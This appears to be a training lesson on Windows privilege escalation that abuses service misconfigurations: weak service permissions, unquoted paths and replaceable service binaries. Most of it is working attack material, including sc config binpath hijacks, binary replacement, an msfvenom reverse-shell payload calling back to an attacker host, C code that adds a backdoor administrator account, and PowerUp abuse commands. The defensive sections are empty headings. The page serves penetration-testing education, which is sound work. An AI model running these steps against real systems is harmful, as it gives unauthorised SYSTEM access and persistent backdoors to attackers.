Service Misconfigurations

Exploiting weak service permissions for SYSTEM access

What You'll Discover

🔧 Try This Right Now

Search for unquoted service paths on your system:

wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """"

You'll see: Services with paths containing spaces but no quotes. These are potential unquoted service path vulnerabilities if you have write access to intermediate directories.

Skills You'll Master

Understanding Service Misconfigurations

Windows services are background processes that start automatically or on demand. They typically run with high privileges - many as LocalSystem, the most powerful account on the machine. When service configurations are weak, you can abuse them to execute code with those elevated privileges.

Service Permission Types

Services have their own ACL with specific access rights. The dangerous ones are:

Attack 1: Weak Service Permissions

When you have SERVICE_CHANGE_CONFIG rights, you can modify the service's binary path to point to your payload:

# Find services with weak permissions (using Sysinternals accesschk)
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula

# Check specific service permissions
sc qc VulnerableService
sc sdshow VulnerableService

# Modify binary path
sc config VulnerableService binpath= "C:\temp\shell.exe"

# Restart service (if you have SERVICE_START permission)
sc stop VulnerableService
sc start VulnerableService

# If you can't restart, wait for system reboot

Attack 2: Unquoted Service Paths

When a service path contains spaces and isn't quoted, Windows tries to find the executable by parsing the path left to right:

# Example vulnerable path:
C:\Program Files\Vulnerable App\service.exe

# Windows will try these in order:
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable App\service.exe

# If you can write to C:\ or C:\Program Files\, you can create:
# C:\Program.exe (your malicious binary)

# Find unquoted paths
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """"

# Check write permissions on intermediate directories
icacls "C:\Program Files\Vulnerable App"
icacls "C:\"

# Create malicious executable named to be found first
copy shell.exe "C:\Program Files\Vulnerable.exe"

Attack 3: Writable Service Binary

If you can write to the directory containing the service executable, you can replace it entirely:

# Check if service binary directory is writable
icacls "C:\Program Files\VulnerableApp"
accesschk.exe -wvu "C:\Program Files\VulnerableApp"

# Replace the binary
move "C:\Program Files\VulnerableApp\service.exe" "C:\Program Files\VulnerableApp\service.exe.bak"
copy shell.exe "C:\Program Files\VulnerableApp\service.exe"

# Restart service
sc stop VulnerableService
sc start VulnerableService

Tools and Techniques

Creating Service-Compatible Payloads

Services expect binaries that interact with the Service Control Manager. If your payload doesn't, the service will start and immediately stop - but your code still executes:

# Generate service-compatible payload with msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker> LPORT=443 -f exe-service -o shell-service.exe

# Or use a simple wrapper that adds a user
# This C code creates a service-compatible exe:
/*
#include <windows.h>
int main() {
    system("net user hdna Password123! /add");
    system("net localgroup administrators hdna /add");
    return 0;
}
*/

# Compile with mingw
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

PowerUp Exploitation

PowerUp provides functions to exploit each service misconfiguration:

# For weak service permissions
Get-ModifiableService
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hdna' -Password 'Password123!'

# For unquoted paths
Get-UnquotedService
Write-ServiceBinary -Name 'VulnService' -Path 'C:\Program Files\Vuln.exe'

# For writable binaries
Get-ModifiableServiceFile
Install-ServiceBinary -Name 'VulnService'

Accesschk from Sysinternals

Accesschk is the definitive tool for permission analysis:

# Check services accessible by Authenticated Users
accesschk.exe -uwcqv "Authenticated Users" * /accepteula

# Check specific service
accesschk.exe -ucqv VulnerableService /accepteula

# Check directory permissions
accesschk.exe -uwdq "C:\Program Files\VulnerableApp" /accepteula

# Download from: https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

Real-World Attack Scenarios

Defensive Countermeasures

Frequently Asked Questions

🎯 Service Exploitation - Loaded!

You now know three powerful service attack techniques: weak permissions, unquoted paths, and binary replacement. These are among the most reliable privilege escalation vectors in real environments.

Ready to exploit registry-based attacks →